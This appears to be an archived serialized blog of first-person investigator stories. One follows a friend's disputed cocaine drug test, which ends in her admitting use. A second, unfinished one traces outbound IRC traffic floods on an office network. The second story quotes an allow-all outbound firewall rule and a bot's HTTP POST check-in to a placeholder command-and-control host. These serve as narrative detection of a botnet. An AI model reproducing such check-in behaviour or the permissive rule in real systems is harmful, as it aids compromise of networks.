“Chief, it’s Rae. You are not going to [expletive] believe this. The hair test results came back. They claim that I’ve been doing Cocaine for a year! I am so confused. I don’t know what to do!” Rae said as she started to cry.

I paused for a few moments to collect my thoughts.

“Rae, are you at home?” I asked.

“Yes, why?” she responded.

“I’m coming over. Go put on some comfy clothes and put the dog outside.” I said.

“Uh, okay. Why?” Rae said in a confused manner.

“I’m going to tear your house apart.”

Continued in PART 4 »

62940-070913-546532-33

Source: archived original

Part IV · Sep 23, 2007

“Dust much?” I complained as I emptied Rae’s kitchen cabinets and periodically sneezed from the dust in the air.

“Quiet you. That’s not dust, it’s sawdust from the cabinetry. Those are new cupboards, you know?” Rae snapped back, her latin accent accentuated by a snapping of her fingers.

Like most men having a one-sided conversation with a woman, I had temporarily tuned Rae out as I concentrated on the contents of the vitamin and supplement bottles I had rescued from the dusty bowels of her kitchen.

“There’s got to be at least a thousand dollars worth of stuff in here!” I exclaimed as I spread the bottles out across Rae’s dining room table. “And you wonder why you can’t pay your Visa bill?”

“Duh, how do you think I buy all of this stuff?” Rae joked.

“Let’s keep moving, we have a few more rooms to go. Bring that box of Kleenex. God knows I’m going to need it in this place.” I said with a smile.

“Cabron!” Rae yelled at me with a giggle.

I entered Rae’s bathroom and nearly tripped over a startled cat that was hiding in the bottom of her shower.

“Nice kitty?” I asked and received a face full of hiss as a reply. I approached the cat in an attempt to make friends only to be denied by it’s speedy escape into the closet.

“That cat is nuts.” I thought as I turned my attention back to the shower. I scanned the stainless steel organizer hanging from the shower head.

“Jeezus on a rubberized pogo stick, how much shampoo does one girl need? She doesn’t even have long hair!” I said in amazement. There had to be ten bottles of stuff crammed into the organizer’s wired frame.

I grabbed every bottle, every bit of makeup, and even her mouthwash. I returned to the kitchen and handed the contents of my bag to a startled Rae and then headed upstairs.

“Chief, I’m going to need a bigger table at this rate.” Rae said in disgust.

I mumbled something under my breath and rolled my eyes. This was taking longer than I had expected.

Nearly an hour later my inspection of Rae’s home was complete. All products that made contact with her body were spread out on the dining room table (and chairs). Her refrigerator and freezer were bare to begin with, much like a few relationships from my past.

I picked up each item and made some careful notes of my observations. Brand, manufacturer, ingredients, expiration date, sealed or opened, etc. Even with Rae assisting, this process seemed to last forever.

Near the end of our inventory process, Rae yawned and gave me an inquisitive look.

“You know chico, I know that you know what you’re doing and I really appreciate the help. But what exactly ARE we doing?”

I added the last item to the list and returned her gaze. “We’re trying to determine if something that you come into contact with frequently is making you test positive.”

Rae giggled. “Okay, I didn’t realize you worked for the Food & Drug Administration. You are an expert on everything it seems!”

I let out a very exhausted sigh.

“I’m not, but I know somebody that is.”

55174-070922-468880-25

Source: archived original

Part V · Oct 4, 2007

“You’re shipping me a box of WHAT?” came the voice from the other end of the phone.

My surprised counterpart was Hugo Harwell of Harwell Investigations based in Las Vegas. Hugo had helped me numerous times before, and I needed him now more than ever.

“Hair care products, health shake mix, maybe even some dog food…” I joked.

“Why does this not surprise me?” Hugo said with a laugh. “Well, sure, I can throw that stuff by the boys in the forensics lab. What exactly are we testing for? A bad odor?”

“Cocaine.” I responded.

“You’re sh… you’re not kidding, are you?” Hugo asked with a raspy cough. “Good grief. I have to hear this story.”

I filled Hugo in on Rae’s situation without missing a detail.

“Poor girl.” Hugo said. “Have you pulled all of the documentation, done any interviews, standard stuff?”

“My scope is pretty limited right now.” I replied. “I need those results as soon as possible.”

“Understood.” Hugo said. “One quick thing, and I don’t mean to imply anything here - but for the sake of due diligence, have you taken her somewhere and had her pee? I can recommend a good independent lab over there in your area.”

I paused for a moment.

“Actually, no. I haven’t. I wasn’t sure how meaningful that would be if she’s coming into contact with the stuff on a daily basis.”

Hugo chuckled. “You know what I’m about to tell you old friend, don’t you?”

“I’m too close to this one?” I reluctantly replied.

“Exactly.”

I sighed. Hugo was always right.

“Alright, give me the name of that lab and we’ll get another analysis done - the entire gamut. I’m guessing the next thing you’re going to tell me is to have her pee every few days and watch the levels?” I asked.

“Bingo.” Hugo said gleefully.

“Got it. Thanks, man.” I said as I hung up.

I wandered back into Rae’s kitchen and found her sitting on the floor looking through the boxed items.

“What the hell am I going to clean myself with, dog shampoo?” she moaned.

“Dog shampoo? Maybe I should send that too.” I joked as I pulled my keys from my pocket. “Let’s go to the store and buy you some normal grooming products.”

“Whatever.” Rae said with a twinkle in her eye. “I need to let the dog back in. Where’s my cat?”

“Hiding in the bedroom.” I said with a snorty laugh. “I don’t think your cat likes me.”

An hour later we returned to Rae’s place with more shopping bags than a West Virginia lotto winner. My monkey arms were killing me.

“Hey, your door isn’t locked.” I said as I turned the knob of the front door freely. Standing on the other side of the door was a person I had never seen before. He reminded me of a sober Keifer Sutherland.

“Out of the way bro, shoppers coming through!” Rae exclaimed as she pushed by the crewcut-wearing twenty-something guy.

“Bro? This is your brother Robert?” I asked. I had heard Rae mention Robert in the past but had never been formally introduced.

“Chief, Robert. Robert, Chief. Hurry up slow poke this stuff isn’t going to put itself away!” Rae yelled.

I followed Rae into the kitchen and things started to click. I noticed that the guest bedroom had looked lived in, but I wasn’t sure by whom.

“Robert is staying with me for a while until his divorce is final. I thought I told you that?” Rae asked.

“Nope. Does he know what’s going on?” I asked.

“You know me. I don’t discuss my business with anyone, including my brother.” Rae retorted.

“Can I ask you something about your brother?” I carefully queried.

“What?” Rae responded.

“I think we’d better go outside.”

70972-071004-626854-41

Source: archived original

Part VI · Oct 9, 2007

“Another one?” Rick Samson said to himself in disbelief. “How many times is this girl going to request a re-test?”

Rick flipped through the employee record sprawled out in front of him labeled “Iris, Rae” and familiarized himself with its contents one additional time before fixating his eyes on Rae’s e-mail.

“Something has to give here, and I don’t think it’s going to be me!” Rick snapped as he picked up the phone and dialed Rae’s cell phone.

“Hello?”

“Rae, this is Rick Samson. I’m sorry to call you during your requested vacation time, but I wanted to address the e-mail that you sent me.” Rick said with an authoritative tone.

“Thanks for getting back to me Rick. What seems to be the problem?” Rae asked.

“Rae, I don’t know any way to say this aside from being direct. We’ve tested you twice at a rather significant cost to the company and the results were the same. Cocaine is cocaine, no doubts about it. I don’t believe that there is reasonable cause for the company to pay for yet another test.” Rick stated.

“I understand that Rick, but there’s a little problem. You see, I’ve never done cocaine in any form so the testing method has to be flawed. I feel that I have a right to defend myself on this. Since you are accusing me of something that I haven’t done, why shouldn’t you pay for it?” Rae responded in a flippant manner.

“Look, people come up positive on drug tests. Eventually they own up to it. There’s no shame in just admitting it. We can have you enroll in a program and keep your job. We may make you pee frequently to make sure you’re keeping your end of the bargain, but you won’t lose your job.” Rick said.

“EXCUSE ME? I’m supposed to admit to something that I didn’t even do? And what about those papers that I signed? I’ve had others look at them, and they don’t think that I should be accountable to an agreement that I signed under obvious duress. I’m going to defend myself, no matter what Rick. Are you going to work with me on this?” Rae asked excitedly.

“There’s nothing I can do at this point. You signed the agreement, and I expect you to show up for counseling at the predetermined facility on Monday. If you don’t show, you’ll be in violation of your agreement and we’ll have to terminate your employment. We don’t want to do that Rae.” Rick said calmly in an effort to diffuse the situation.

“Never mind Rick, I think I have your answer.” Rae said as she abruptly hung up her phone.

Rick placed the handset back in the receiver and rubbed his eyes for a few moments before calling his administrative assistant on the phone intercom.

“Betsy, can you get me someone in legal please?”

“What the hell was that?” I asked as Rae joined me outside on her back patio.

“The HR overlord. He isn’t budging on that agreement, and they aren’t going to pay for another test. If I don’t show on Monday I’m going to lose my job.” Rae said as she started to tear up. “This is so not fair.”

I placed my hand on Rae’s shoulder and made eye contact with her.

“You’re going to show up on Monday and do everything that the agreement says. Do you understand?” I asked.

“WHAT? Chief have you lost your monkey mind? Have you been sampling some of that dog shampoo? I might as well just waltz into that treatment center and throw up my hands with a big sign that says GUILTY AS CHARGED. No way am I doing that.” Rae screamed.

“Calm down. Listen to me. Trust me on this. I need you to do exactly what they want to buy us some time.” I repeated.

Rae took a deep breath and closed her eyes.

“Fine. What’s this about my brother?” Rae asked.

“How long has he been back in the states? I thought you said he was still down in Latin America somewhere in the Peace Corps?” I queried.

“Oh, that? Sheesh, he’s been back almost a month. He’s not going to be here long. Maybe another month. Why?” Rae asked.

“I need to…” I said as I was interrupted by a loud “BAM!” sound from a nearby window that startled us both.

“What the bloody h…” Rae said as she placed her hand over her heart.

I collected myself and shifted mental gears.

“Rae, there is something terribly wrong with your cat.”

37100-071009-288139-70

Source: archived original

Part VII · Oct 11, 2007

The sunlight made strange, hypnotic circles in the water. It was early morning and I was enjoying a piping hot cup of columbian goodness out on my back patio. Nearly four days had passed and Saturday had finally arrived.

beep

My treo announced that a new text message had arrived from Hugo.

“555 North 55th Place - ask for Juan. He is trustworthy. - H”

Ah, the mysterious pee depository. They were open Saturday?

“I know just the way to start Rae’s morning right.” I joked as I dialed her number on my phone.

“Good morning sunshine.” I announced after hearing a groggy Rae answer her phone.

“Whatever. It’s early.” she moaned.

“I need you to shower and get dressed. I’m coming over in 30 minutes.” I said.

“Why? God help me if you remove anything else from my house. I used a department store shampoo last night, chief. DEPARTMENT STORE SHAMPOO.” Rae emphasized.

“I need you to pee.” I said with a quick goodbye. Hmmm. That didn’t sound proper at all.

An hour later Rae and I arrived at the testing laboratory and asked for Juan.

“Hello, friends of Hugo yes?” Juan asked in a distinct spanish accent.

“That’s us. Where’s the cup you want me to fill?” Rae responded in her usual abrupt manner.

Juan chuckled.

“This way.”

I made myself comfortable in the waiting area next to a guy sleeping across three seats and a lady that smelled like garlic and bleach.

Yeah, I didn’t want to know.

I passed the time catching up on e-mails and a little web surfing on my treo.

“Okay, okay… I peed. Can I go home now?” Rae demanded as she returned to the waiting area holding a receipt of some sort.

“Sure, let’s go get breakfast.” I suggested.

“I’ve got lots of room!” Rae said as she charged her way out of the door in front of me.

I so didn’t need to hear that.

“Nobody heard that, right?” Rae said as she placed her hand over her mouth in an attempt to prevent further award winning burps from escaping.

“I did, and trust me… I don’t want an encore presentation.” I said as gulped the last few bites of my breakfast and washed them down with some piping hot coffee.

ring

I searched through my pockets one by one until I located my singing treo.

“Chief” I mumbled while wiping my mouth with a napkin.

“There’s nothing I hate more than being right, except when you’re always right.” Hugo joked.

“Beg your pardon?” I asked.

“I’m staring at the lab results of the crates of crap you sent me Fedex overnight.” Hugo said. “Are you sitting down?”

I glanced around myself in a comedic fashion while watching Rae apply some sort of eye makeup.

“You could say that. So what’s the word of the day?” I asked.

“Cocaine.”

43994-071011-357079-14

Source: archived original

Part VIII · Oct 17, 2007

“Here kitty kitty…” I said in a pitch reminiscent of a recent Hilary Duff tune. “I know you’re in here.”

I scanned Rae’s bedroom carefully and listened for any indication of evil on four legs lurking nearby.

“Mommy’s going to be back from the salon soon, and I really need to talk to you…” I said in between whistling noises.

My attention was quickly diverted to a shuffling sound underneath Rae’s bed.

“There you are.” I said while peering under the bed at a pair of fluorescent green eyes. I tried every means of coaxing, but like any woman, she wasn’t budging at the sight of a strange man reeking of IHOP coffee and banana pancakes.

“If the kitty won’t come to you, you must go to the kitty.” I joked as I started dismantling Rae’s bed.

“HISSSSS!”

That was one peeved pussy. Cat.

I lifted the mattress and propped it against a nearby wall. Using all my monkey might I carefully wedged the rest of the bed assembly out of the way and stepped forward in an attempt to be within arm’s reach of the cat.

“%@#$@# OWWWWW!” I cried as an immense pain started at my left foot and worked it’s way up my leg.

I glanced down and found myself standing on the now broken remains of a framed 8x10 mirror.

“Who the holy hell keeps a mirror under their bed?” I thought as I lowered the bed assembly and sat on the floor. I hadn’t planned on picking pieces of broken mirror out of my paw.

After some impromptu first aid with some Flintstone bandages (Flintstones?) I pried the bed up one last time to see the cat scamper out from under the bed and into the closet.

“This is not my day.” I sighed as I lowered the bed and ran to the closet.

“HISSSSS!”

Yet another warning message leapt from the cat’s mouth as it dropped what appeared to be a mouse toy on the floor.

Moving faster than Scrap avoiding creditors, the cat dived under some shoe boxes and completely out of my reach.

“Oh this is just GROSS.” I moaned as i picked up the toy and a pungent smell greeted my nose.

“Bleach? Fabric softener? WTF?” I said to myself after another inhalation and an examination of what appeared to be cotton fragments escaping from the toy’s insides.

I carried the toy out to the kitchen and reached for my laptop bag and an item that I thought might come in handy given the circumstances of Rae’s predicament. A cocaine residue field kit.

The kit contained tubes that had an adsorbent pad on one end of the tube used to collect suspected drug residues.

<img src=“https://web.archive.org/web/20140910123638im_/http://www.crime-scene.com/ecpi/media/A-1098B_L.jpg"

After a quick swab across the surface of the guts of the toy, I crushed the glass tube inside the accompanying plastic vial.

“Jeezus.” I said to myself. “That’s more blue than the freaking sky.”

I placed the used kit inside a handy chain of custody bag and sealed it tight. My hands were shaking, and my left foot was still killing me.

I exited out of the back door of the house and stared up at the blue sky. Hugo’s phone conversation in the restaurant was echoing inside my skull.

“Chief?” a voice said behind me.

I nearly jumped out of my skin and turned to find Rae’s brother standing in the doorway. Apparently he had mastered the art of opening a door without making a noise.

“What’s up man?” I asked taking a few deep breaths.

“We should probably talk before Rae gets home.” he said as he lit a cigarette and inhaled deeply.

“Why is that?” I probed.

“Things are not what they seem.”

27408-071016-191216-98

Source: archived original

Part IX · Nov 6, 2007

“Have a seat.” I said as I motioned Robert to a semi-comfortable lawn chair sprawled across the patio.

Robert took a long drag off of his cigarette and slowly exhaled, sending the smoke upwards in short bursts like a burning bag of microwave popcorn.

“I know why you’re here, and I think I can clear this mess up for ya.” Robert said.

“Go on.” I blurted as I slipped on my sunglasses.

“Look, Rae is a good kid. She’s never been in trouble before. Me? Well, I’ve had my share of trouble in life for sure! I think I’ve let some of that trouble follow me home this time.” Robert said nervously. “I don’t want you to get the wrong idea about things.”

I sat up straight in my chair and glanced towards Robert.

“I guess I’m a little unclear about what you’re talking about, Robert. Rae is being accused of habitually using a drug that she supposedly never touched in her life. How does this involve you?” I asked with a raised eyebrow.

“Fair enough. Chief, I was a big drug user in my day. I’ve been in and out of rehabilitation most of my adult life. My recent stint out of the country was supposed to be a healing time for me, but unfortunately it had the exact opposite effect. I reverted back to my old ways. I tried to keep clean, but I was weak. Since I’ve been back in the United States I’ve done nothing but continue to struggle. You can understand that, right?” Robert asked.

“Sure.” I responded. “But what does this have to do with Rae exactly?”

Robert extinguished his cigarette on the ground and lit up another.

“I met up with some old friends and got some stuff. I’ve been stashing it here for a while. Anything you find in this house along those lines would be my property. It’s not Rae’s. I was hoping that you could give whatever you’ve found back to me and not tell Rae about this little conversation. She gets really upset when I talk about her business.” Robert said.

“We have a couple problems here, Robert.” I started.

“Problems?” Robert asked with an aggravated frown on his face.

“First, anything that I’ve found during my investigation in Rae’s house is either going to prove or disprove Rae’s story. Releasing anything that I find to you is going to compromise that investigation.” I said.

“And?” Robert queried.

“And secondly, I don’t believe a word you just said.”

Source: archived original

Conclusion · Nov 29, 2007

Tick. Tick. Tick. Tick.

I sat in front of Rae’s home computer reading through some E-mail to pass the time, and then decided to check a few popular websites for news. I clicked around in Internet Explorer and by reflex entered Rae’s browsing history.

After reviewing the last five entries, my mind was made up and my theory confirmed.

The clock on the wall in Rae’s living room announced the arrival of a new second with an unnerving metallic sound. I compared the time on my watch several times in anticipation of an inevitable confrontation that was about to take place.

“Who forgot to lock the front door again?” Rae bellowed as she entered the living room. “You still here? You have nothing better to do?” she asked sarcastically as she caught my stare.

I got up from her computer chair and walked towards her.

“Funny you should mention that. I canceled a number of important things so I could be here for you Rae. And now I’m wondering if I’ve been wasting my time.” I replied.

Rae dropped her eye contact and slowly walked into her bedroom.

“What the hell happened to my bedroom? You guys have a party while I was gone?” Rae nervously joked.

“Cut the crap.” I said sternly. “You owe me an explanation and an apology.”

Rae stood with her back to me for what seemed to be an eternity. She placed her purse on her overturned bed and slowly turned to face me.

“Explanation for WHAT?”

I removed the chain of custody bag from my pocket and, while holding the top with my fingers, allowed the bag to unravel to reveal the former guts of her cat’s toy.

“That’s not mine.”

I was losing my patience.

“Of course. It’s probably your brother’s, right? Or maybe a former boyfriend’s? Or maybe your cat has a problem and we should perform an intervention right now? Here kitty kitty! Mommy needs to talk to you because she loves you!” I said in an impatient tone.

“How can you accuse me of such a thing? After all I’ve been through recently, you’re throwing this back on me now because you really can’t find out what’s going on?” Rae fired back.

“This isn’t about anyone but you. You’ve been lying to me and those around you from the start, and as a matter of fact, I DO know what’s going on. You can tell the story or I can, it’s your choice.” I replied.

Rae stood perfectly still and stared a hole into the floor.

“Fine. I’ll tell it. Let’s start at the beginning, shall we?” I asked.

Rae sat down on the ground and looked at me like a child accused of sneaking into the cookie jar.

“You failed the drug test at work and panicked. It should have been no surprise to you that you were going to fail, considering you have several empty drug test boxes in your bathroom’s trash can hid under a God awful amount of toilet paper. How are you going to get out of this? You call the one person that you know that has a knack for connecting the dots and presenting a factual case to your employer: me. How am I doing so far?” I asked.

Rae sat quietly.

“You start doing research on the internet for substances that can produce a false positive on a cocaine drug test, only to find out that it’s nearly impossible to get a false positive for such a substance. I found your searches on your computer - it took all of five minutes. Then you find that certain imported products contain trace amounts of cocaine due to their inclusion of raw coca leaves. Ah ha! The perfect alibi. You knew from my previous stories that I’d take a close look at anything that came into contact with you including your food, personal care products, etc. Ironically enough, this was my first clue that you were lying to me.” I bellowed.

“I didn’t lie to you!” Rae exclaimed.

“I’m not done. All of the products that I sent to my friend in Las Vegas were tested, and some did contain trace amounts of coca. However, you would have had to ingest several bottles of the stuff right before your test to have a results level as high as you received. The interesting part is that my friend found higher trace levels of cocaine OUTSIDE the bottles than in the bottles - specifically on the lid of one of the larger bottles. Let me be clear that the substance found wasn’t coca - it was cut cocaine. Any of this ringing a bell yet?” I queried.

Rae stared at me blankly, and her eyes started to water up.

“Let’s not forget the pee test that you so eagerly agreed to. The results came back showing your level to still be two-thirds of your original testing level. The only way to sustain a level that high is daily usage. You’ve been using this entire time. And to make matters worse, the real victim in all of this is probably your cat. The cat toy that you hid your stash in under your bed - you know, the one next to the mirror that I stepped on which also tested positive for cocaine - used to have catnip in it. Your cat has been chewing and licking that toy for an unknown period of time. Do you have any idea what even the smallest amounts of a stimulant like cocaine can do to an animal that small?” I asked, my tone growing more impatient with every sentence.

The sounds of Rae’s sobbing overtook my accusatory ranting. Her face was red with stress and embarrassment.

“I need help.”

The strangest stories aren’t those imagined by ordinary folks. They are tales crafted from real people caught up in real situations, most of which are of their own doing. No matter one’s sex, race, creed or color - all are susceptible to the evils of addictions.

This story is obviously a tangent from my typical case files. However, it is a perfect example of how investigative skills can cross all categorical boundaries. It also shows that even the most experienced investigator will encounter their most challenging cases not in an empty warehouse, an office building, or a datacenter - but two feet inside their own doors.

Rae underwent an extensive rehabilitation treatment, and is still drug free (and addiction free) to this day.

82289-071129-740029-52

Source: archived original

25. Case Of The Robotic Reflex

Fri, 30 Nov 2007 00:00:00 +0000

Part I · Nov 30, 2007

“How do I keep getting talked into doing these things?” I asked myself as I shoved my powerbook into my laptop bag.

I had been in Las Vegas for two days, dished out three presentations on information security best practices, and was eager to hop on a plane back to the monkey crib to enjoy some rest and relaxation.

I scanned the emptying room and noticed that something was missing.

Where was Scrap?

I was twenty paces out of the room when a familiar voice called out.

“Chief! Wait up!”

I turned momentarily to see Scrap and another gentleman I didn’t recognize trying to catch up to me while balancing drinks in both paws.

“Where’s the fire, boss? Hey, I want you to meet Kip. He just bailed me out of a shortage problem over at the bar.” Scrap said in between gulps of air.

“Shortage problem?” I asked.

“Yeah, of the cashola kind.” Scrap replied.

Why wasn’t I surprised?

“Chief, it’s a pleasure to meet you. Kip Kerpatrick - I’m the security officer at PPP productions. Scrap and I were talking at the bar and I happened to mention a problem that my staff is working on right now. He seemed to think you could help me?” Kip asked.

I could only imagine what Scrap had filled this poor chap’s eardrums full of after six or seven long island iced teas.

“Whatcha got?” I asked.

“Well, I guess you could say that it’s not a matter of what I have, but what I don’t have.” Kip replied.

“Beg your pardon?” I replied while raising an eyebrow.

“Control of my network.” Kip said while glancing at the screen of his vibrating phone. “Christ, it’s happening AGAIN. Excuse me for a moment.”

Kip scampered off and started what appeared to be a serious conversation on his phone.

“Scrap, how much have you had to drink?” I asked, not really wanting to know the answer.

“Um. Lemme see. One… two… three…” Scrap yammered.

“Never mind. What’s the deal with Kip?” I asked.

“Check this out. So he’s the security monkey at PPP. They do a lot of indie film work and commercials. They have this new office in California. Well, it’s not really ’new’ exactly… they bought this other production company… inherited a lot of staff and equipment… yadda, yadda. Kip says that every once in a while they have these killer network outages that they haven’t been able to trace back to anything. They are on a shared pipe with a bunch of other tenants in this building… it’s a fat pipe man. 10MB to the net. Okay, so they have all these disruptions and the tenants in the building are cat fighting over who is at fault. It sounds pretty ugly.” Scrap blurted out in broken english.

“Sounds like it’s right up our alley.”

44780-071129-364937-15

Source: archived original

Part II · Dec 7, 2007

“I feel so violated.” Scrap moaned as left the airport security checkpoint station.

I laughed. “Scrap, that’s like Rosie O’Donnell announcing that possibly gained a pound from that last doughnut.”

“I swear that guy had three hands.” Scrap replied as we took seats in the boarding area.

ring

“Chief” I announced as I answered my phone.

“Hey, it’s Kip. I really appreciate you guys jumping on this and missing the last day of the conference. I should be in town about an hour before you land. I’ll try to meet you at the office like we talked about.” Kip said with a smile that was radiating over the phone.

“Not a problem. Did you get a chance to e-mail the materials that I asked for?” I queried as I removed my powerbook from its protective sleeve.

“Affirmative. If you get a chance to look them over before you arrive I’d appreciate it. My flight is boarding so I have to go. See you at the ranch!” Kip said as he hung up.

I was pleased to find free Wi-Fi moments after opening my powerbook and did a quick check of my e-mail. As promised, the requested documents appeared in my inbox.

The first document was a network diagram that resembled any of the hundreds of others I had encountered in my case work. PPP had one large flat network sitting behind a single firewall. PPP’s Internet-facing servers were located at a colocation facility.

The second document was a bit alarming. It was a configuration dump from their Cisco Pix Firewall.

“Scrap, take a look at this. Am I seeing what I think I’m seeing?” I said as I tilted the powerbook towards Scrap.

Scrap spent a few minutes perusing the configuration file and then furrowed his brow.

“Uh, they’re kidding, right?” Scrap said as he scratched his head.

access-list outbound permit tcp [Inside Network] [Inside-Subnet] any any

“Apparently not. The inbound is nicely limited, but there’s no outbound controls? What year is this again?” I said in disbelief.

The third document was a recent traffic graph gathered from traffic on the PIX firewall. It was equally disturbing.

“Holy crap!” Scrap stammered. “That graph has more peaks and valleys than Pamela Anderson’s cleavage!”

I stared at Scrap for a brief moment and continued.

“It’s obvious that there is something on the network generating massive outbound traffic on a periodic basis. The questions are plenty. Is it authorized traffic? Unauthorized traffic? Are we looking at some massive P2P client usage on their network?” I asked.

“It’s always the users, man. Always.” Scrap lamented.

I opened the fourth document and raised an eyebrow.

“Or maybe not.”

14539-071207-625230-85

Source: archived original

Part III · Dec 15, 2007

“You could smoke a ham in this joint.” Scrap whined as we waited patiently in the reception area of PPP Productions.

The summer weather was brutal and a bit amplified by the lack of air conditioning in the large, warehouse-style building. PPP occupied the entire first floor of the three-story building. The other two stories were occupied by other tenants. I found it odd that most of the parking lot was empty, and that there was very little foot traffic in and out of the building.

“Agreed.” I replied as jogged through some E-mail messages on my treo and wiped a bit of sweat from my monkey brow.

Moments later a familiar face came cruising through a pair of doors to our right.

“Guys! Great to see you. Thanks for making the trip out. I see that the receptionist got you your guest badges, so we’re all set. Follow me.” Kip said as he motioned for us to follow him through the double doors.

“Nice place, but what’s up with the air conditioning?” I asked as I fanned myself with my notepad.

“Ah, yes. Sorry about that. We’ve been having some issues with the HVAC in this place. I really wish that we had stayed in our previous office downtown, but you know how acquisitions are. Consolidation is always lots of fun.” Kip explained as he badged us into a room near the end of the main hall. The wall placard near the door was rather entertaining. At one time it had said “Storage”, however it now bore a piece of paper with the inscription “IT”.

Scrap and I took a pair of seats located inside a large cubicle belonging to someone named “Cookie”. From the cubicle’s adornments it was rather easy to guess that “Cookie” was a female and had a strange fascination with cats dressed in costumes.

“Creepy.” Scrap whispered as he tried to contain his laughter.

Kip took off to round up his troops.

My eyes gazed around the cubicle to find a couple of standard PC machines running a version of Windows and three different telephones. Network activity graphs were neatly thumb-tacked to portions of the cubicle’s walls along with a lone white board bearing a number of diagrams and scribbling.

“Hey Scrap, looks like Cookie is a big MRTG fan. You too should get along fabulously.” I said with a smirk.

Scrap was seconds from a witty reply when a girl with pink hair whipped around the corner of the cubicle. She appeared out of breath.

“Great timing. Come with me.” she said as she took off towards another cubicle in the IT area.

After a simultaneous shrugging of shoulders we grabbed our laptop bags and tried to catch up with her.

We landed in a cubicle belonging to “Cedric” and were quickly introduced to our new hosts.

“Oh, sorry. I’m Cookie. This is Cedric. I’m the IT manager, and Cedric is my network guy. Kip told me that you two could help us with a little weirdness we’re having with our network. It’s happening right now. Show ’em Cedric.” Cookie said.

Cedric turned his monitor a bit so that we could examine the graphs populating his screen. We were looking at MRTG graphs of inbound and outbound traffic that bore a striking resemblance to the graphs in the documents that Kip provided us. Outbound traffic was peaking and inbound traffic appeared to be normal.

“When these events happen our entire access to the internet slows to a crawl. It’s very frustrating.” Cookie said with a frown.

“Have you isolated which inside addresses are generating this traffic?” I queried.

“All of them!”

69463-071215-611763-40

Source: archived original

Part IV · Jan 10, 2008

“Holy packet storm from hell, that is nuts!” Scrap said as he watched Cedric pull up MRTG graph after another from the various network gear on the network. It appeared that every switch port was pumping data at capacity and the lone PIX firewall was taking a beating - although it was a bit of a sucker bunch. Lots of outbound data packets and nothing stopping them.

“Scrap, let’s break out some gear and sift some packet goodness of the wires. I want you to…” I trailed off as I was interrupted by Cedric.

“It’s gone!” Cedric exclaimed. “What the holy hell is going on?”

I glanced over Cedric’s shoulder and confirmed that the traffic had disappeared in an instant.

“As I was saying, Scrap, let’s get some gear set up. Cedric, would you mind assisting Scrap with some taps?” I asked.

“Not a problem.” Cedric replied as he sauntered out of the cubicle with Scrap in tow.

“Cookie, I have to ask this out of curiosity. These traffic anomalies have been occurring quite frequently from what Kip told us. You haven’t captured any of the data?” I queried.

“That’s correct, and I know it’s the wrong answer. To be honest, we know enough to keep this network up and functioning. Investigations really aren’t our thing. Don’t tell Kip I admitted to that!” Cookie said with a chuckle.

“No worries.” I replied. “Out of curiosity, you appear to be running one large flat network in here. How do the other tenants in the building connect to the internet? Do they have their own point of presence or are you acting as their ISP?”

“That’s a long story.” Cookie said. “We have a ten meg pipe to the net and before all of this started to happen, never worried about filling it up. We offered to play ISP for the other tenants. They are all behind NAT appliances.”

“So their traffic appears to originate from single IP addresses - the addresses of the appliances?” I asked.

“Exactly.” Cookie replied.

I filled a page in my notebook with notes and was interrupted by a text message from Scrap: “We’re a go.”

I barely had a chance to share the good news with Cookie. Her eyes were already nervously spying on her MRTG graphs.

“Here we go again! They don’t normally come so close together.” Cookie commented as she clicked around her management interface.

“It’s like we’re monitoring labor contractions, and the woman is not in a good mood.” I joked.

I picked up my phone and called Scrap.

“Are you getting this? We’re spiking again.” I asked.

“Affirmative boss. Wireshark is rolling packets by on the screen… and… wait one.” Scrap said as he put his phone down.

“What? WHAT?” I asked into my phone, expecting the table supporting Scrap’s phone to answer.

I heard a rustling noise on the phone.

“I knew that traffic looked awfully familiar!” Scrap yelled into the phone.

“Do tell.” I said.

“Its like 50 million geeks cried out all at once.” Scrap joked, attempting some Star Wars humor.

“And?” I asked impatiently.

“Well, let’s just say they are all crying out… in IRC.”

33640-080109-253533-40

Source: archived original

Part V · Feb 12, 2008

“Wow. Just… wow.” Scrap said as he scrolled back through his packet captures. “This is just mind blowing. It’s like IRC soup in here: channel commands, DCC requests, a zillion conversations… it’s like a snapshot of every conversation on the planet all at once. Chief, this is going to take forever to parse.”

I chewed on the end of my pen as I looked over Scrap’s shoulder. “Well we’d better get started then.”

The hours crawled by as Scrap and I wrote shell script after shell script to parse the packet data. I needed to answer a few questions immediately:

From how many points on the network was the activity coming from?

How many different points outside of the network was the traffic going to?

What type of data was going to/from which addresses?

Was the time/duration of each burst random, or part of a pattern that would provide a clue?

What was generating the traffic in the first place, why was it generating that traffic, and how did it get inside the network(s) to begin with?

“Coffee time!” Cookie said as she sat a familiar carry-out tray in front of us. Two large venti cups stood before me giving off a familiar vapor trail.

“I love you.” I said as I took several quick sips of the caffeinated goodness. I could actually feel my brain recharging.

“Any news?” Cookie asked as she sat down in a nearby chair and started twirling her pink locks with her right hand.

“A bit.” I began. “We’ve isolated the traffic origination points within the network. They are the IP addresses of all your neighbors’ NAT appliances and nearly one hundred machines on your local LAN.

“Jeezus on a pogostick!” Cookie whispered.

“Oh, but that’s not the interesting part.” I continued. “Every fire starts with a spark. This fire starts with query packet sent from every single machine here to an assortment of machines out on the internet. It’s a HTTP POST that looks like this:

POST http://some.unknown.IP.address/check.pl?ping

Each box then receives a strange encrypted response string that is 128 characters in length. They are always 128 characters, absolutely no deviations.

“Am I hearing you right?” Cookie asked. “All these machines check in with some random machine or machines out on the internet, get an encrypted response, and then the traffic goes nuts? I don’t get it.”

“Allow me to finish… so after the encrypted response is received… and we are talking milliseconds… every machine then connects to a series of IRC chat servers. I’m guessing here based on previous experience, but I’m pretty sure that the encrypted string is an updated list of IRC servers, channels and commands.” I said with a scratch of my head and motioned for Scrap to continue my thought.

“We’re also seeing a lot of file transfers between these IRC users. The machines here are transferring unknown, encrypted files to other users in the IRC channels. That is never a good sign!” Scrap lamented.

Cookie reached into her pocket and pulled out a small bottle of aspirin. “Well, per Kip you two have the run of the place. What’s the next step, Sherlock?”

“We lock this place down.”

Source: archived original

Part VI · May 6, 2008

“Talk about stopping the bleeding with a bullet.” Scrap joked on the phone as he removed the network cables from the Cisco PIX firewall. “Nobody is getting in or out now!”

I gave Scrap a few other things to check out and went back to enjoying my coffee.

Cookie was looking around nervously, like a lamb waiting to be eaten by a pack of lions.

I sipped coffee goodness from my cup and motioned to Cookie that I needed her undivided attention.

“Cookie, I need you to think back and remember when was the first time that you noticed this strange behavior. Did it involve a particular network or machine? This is important.” I asked as I dove back into my coffee cup.

Cookie put her head in her hands and swayed back and forth like a drunken ballet dancer.

“Cookie.” a disembodied voice called from a few rows of cubicles over.

“Cookie!”

Cookie sprung to attention.

